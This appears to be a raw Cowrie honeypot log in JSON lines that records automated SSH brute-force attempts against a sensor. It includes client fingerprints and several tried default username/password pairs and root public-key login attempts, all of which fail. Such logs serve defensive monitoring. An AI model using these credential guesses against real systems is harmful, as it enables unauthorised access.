{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:10.417085Z","src_ip":"193.151.144.93","session":"9393f0c2ac3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36314,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc2418ec4e16","protocol":"ssh","message":"New connection: 193.151.144.93:36314 (10.17.0.5:22) [session: dc2418ec4e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:13.925802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:13.932399Z","src_ip":"193.151.144.93","session":"dc2418ec4e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:14.101265Z","src_ip":"193.151.144.93","session":"dc2418ec4e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:15.336712Z","src_ip":"193.151.144.93","session":"dc2418ec4e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:16.948081Z","src_ip":"193.151.144.93","session":"dc2418ec4e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.76089406013489,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:17.522375Z","src_ip":"69.4.83.194","session":"7c33437b6065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36320,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef4a0efbd1d","protocol":"ssh","message":"New connection: 193.151.144.93:36320 (10.17.0.5:22) [session: eef4a0efbd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:19.397654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:19.402376Z","src_ip":"193.151.144.93","session":"eef4a0efbd1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:19.577377Z","src_ip":"193.151.144.93","session":"eef4a0efbd1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:20.101857Z","src_ip":"193.151.144.93","session":"eef4a0efbd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:21.733021Z","src_ip":"193.151.144.93","session":"eef4a0efbd1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3893d78e13","protocol":"ssh","message":"New connection: 193.151.144.93:44472 (10.17.0.5:22) [session: ab3893d78e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:24.818195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:24.823729Z","src_ip":"193.151.144.93","session":"ab3893d78e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:24.994424Z","src_ip":"193.151.144.93","session":"ab3893d78e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:25.504456Z","src_ip":"193.151.144.93","session":"ab3893d78e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:27.555282Z","src_ip":"193.151.144.93","session":"ab3893d78e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36760,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d245e1384a1","protocol":"ssh","message":"New connection: 193.151.144.93:36760 (10.17.0.5:22) [session: 0d245e1384a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:30.210110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:30.219461Z","src_ip":"193.151.144.93","session":"0d245e1384a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:30.383537Z","src_ip":"193.151.144.93","session":"0d245e1384a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:30.873290Z","src_ip":"193.151.144.93","session":"0d245e1384a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:35.355423Z","src_ip":"193.151.144.93","session":"0d245e1384a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36794,"dst_ip":"10.17.0.5","dst_port":22,"session":"09044dec15a6","protocol":"ssh","message":"New connection: 193.151.144.93:36794 (10.17.0.5:22) [session: 09044dec15a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:35.415522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:35.420981Z","src_ip":"193.151.144.93","session":"09044dec15a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:35.588203Z","src_ip":"193.151.144.93","session":"09044dec15a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:36.096030Z","src_ip":"193.151.144.93","session":"09044dec15a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":50040,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed586284e990","protocol":"ssh","message":"New connection: 102.223.47.171:50040 (10.17.0.5:22) [session: ed586284e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:38.133748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:38.138266Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:38.366263Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:38.940233Z","src_ip":"193.151.144.93","session":"09044dec15a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs7bpFxz7/zZ8nse6YpKU7+fl98Yf/5JZ55tu8v6tv1X/1JI1YsfyEIx4DHzWIgWS2Zn8GPGAoVDZc0TYwZCapNJsyvFEekVdm7VSCESvP/dYy8oMwNvabK7EZmVWFXkwkz62QbcWZOX/3QQvZLeHnO12p4mFvr8Xw1Y7rZHKgztKrNDOXCuuovy1nk6ts3KJqvA+jZ0WKvCd7K9ionFPH3NgkHHYlJvuxzuZ+3JAKLCVn3i0xmmPkslGcbcUkpZqcnqhLYLN0d3Wr/MGFgAnVVHZ6vejDTeyzevBbYnDTIyLQDMk84RM/WqS2iX59R72MgcegQu3d9nl+KyLTmnQZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.465739Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:8d:8d:3c:3a:7c:1d:00:53:3d:42:e1:50:7b:0b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs7bpFxz7/zZ8nse6YpKU7+fl98Yf/5JZ55tu8v6tv1X/1JI1YsfyEIx4DHzWIgWS2Zn8GPGAoVDZc0TYwZCapNJsyvFEekVdm7VSCESvP/dYy8oMwNvabK7EZmVWFXkwkz62QbcWZOX/3QQvZLeHnO12p4mFvr8Xw1Y7rZHKgztKrNDOXCuuovy1nk6ts3KJqvA+jZ0WKvCd7K9ionFPH3NgkHHYlJvuxzuZ+3JAKLCVn3i0xmmPkslGcbcUkpZqcnqhLYLN0d3Wr/MGFgAnVVHZ6vejDTeyzevBbYnDTIyLQDMk84RM/WqS2iX59R72MgcegQu3d9nl+KyLTmnQZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.469289Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9c1zSbuTKaqRLaT16MpkVSeDKhwNlmWBHuOc1jobSTsFOhvLOjDDE4hCNBw5yJcSbD1BN3dAAvfkxVeVwLAmwL7HN0/Zwtsu15aNA8i0hgFG5dy9GwSWgDsIKzcsNReOqn84ZNNGd5/OHmLEgPlKYWvj2DS3ANaLea4CcPP3vz6Xf5SAsNoVF59j2ct8qTM2v3aLZSPkMD5G5XgzQf3DCf2jROBAl6UGXwNtOmLebzWnXUsorpDawrYWC/tUrXwYyadKXozGhEW6gpRKycpsvvPTJwwRy9/ten/96MXyYTwXHB5w8K1z0YkSfmYNdQKirPly3L2gaC30iSsoHeWbS2FoZEgFwDAGT9v7oROcqKezUxMEplxLOU0TyvFnXjWvSQscMNOo4YI7omekp6jZMtqPUFRXD6LDt78dFR9T8jN/eq1k/Mi+N4a7/rgAlP20HZcn7ELEZTb0Limutpqz3Amv6sFzPcl0kQ6uo7q/zg1C1tRXhuMt/gnhR7pdEj0RUAP6NbhS0SG6p9UNZxj/dU6aP35G6bM/gMFouAGnLC9+a9F2a+jFkNu+K4YcN4gGwhdbT1Nwv57cR38SomjBHQthUMtjqpVcgnSBKQf4lFoAbMhdhQudiQQIxSgu5BxJhRL+nfb9TGMS6cSDrW6Tbq2ixDfVfTpAHk9h3L/HgDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.697918Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:e6:98:4d:0b:5b:d6:58:fd:24:b2:39:7a:0c:45:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9c1zSbuTKaqRLaT16MpkVSeDKhwNlmWBHuOc1jobSTsFOhvLOjDDE4hCNBw5yJcSbD1BN3dAAvfkxVeVwLAmwL7HN0/Zwtsu15aNA8i0hgFG5dy9GwSWgDsIKzcsNReOqn84ZNNGd5/OHmLEgPlKYWvj2DS3ANaLea4CcPP3vz6Xf5SAsNoVF59j2ct8qTM2v3aLZSPkMD5G5XgzQf3DCf2jROBAl6UGXwNtOmLebzWnXUsorpDawrYWC/tUrXwYyadKXozGhEW6gpRKycpsvvPTJwwRy9/ten/96MXyYTwXHB5w8K1z0YkSfmYNdQKirPly3L2gaC30iSsoHeWbS2FoZEgFwDAGT9v7oROcqKezUxMEplxLOU0TyvFnXjWvSQscMNOo4YI7omekp6jZMtqPUFRXD6LDt78dFR9T8jN/eq1k/Mi+N4a7/rgAlP20HZcn7ELEZTb0Limutpqz3Amv6sFzPcl0kQ6uo7q/zg1C1tRXhuMt/gnhR7pdEj0RUAP6NbhS0SG6p9UNZxj/dU6aP35G6bM/gMFouAGnLC9+a9F2a+jFkNu+K4YcN4gGwhdbT1Nwv57cR38SomjBHQthUMtjqpVcgnSBKQf4lFoAbMhdhQudiQQIxSgu5BxJhRL+nfb9TGMS6cSDrW6Tbq2ixDfVfTpAHk9h3L/HgDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.701960Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3c1d5cGkQYQbDd7XZ8pDrQu6IZk3fw/uEzD0Xh4Iq/wz4vwOEbdgDCQVZ+PHSVhTUDN8OtgBLpOOIm53LHsTi9CwFPH2wHPVU8UbVuXO/xD+p8nbz5IUd0fCViTznW1C9TeYQuK5fYQHew5I0ybOViI0oYALjbp/cgtS8/Il1r/UcJWMLLaGrfRc1kCCe9B47VEjTus+qJtqEFNSxc+bV+qRWXKhSPuztdCJSE867FmSU4+Nacc22MYOW5k8On0Cvg/6agd267c6f0TMNjLpe/uStUUSKSZY8PKdbQJITMYMQOM7jQ2ufHLxM7j5FKZBfkruJIyYkDR+pHGv5emNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:1b:e9:9f:9c:ab:6b:fd:cd:5c:fb:06:c7:00:0d:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:03:39.926407Z","src_ip":"102.223.47.171","session":"ed586284e990","protocol":"ssh"}
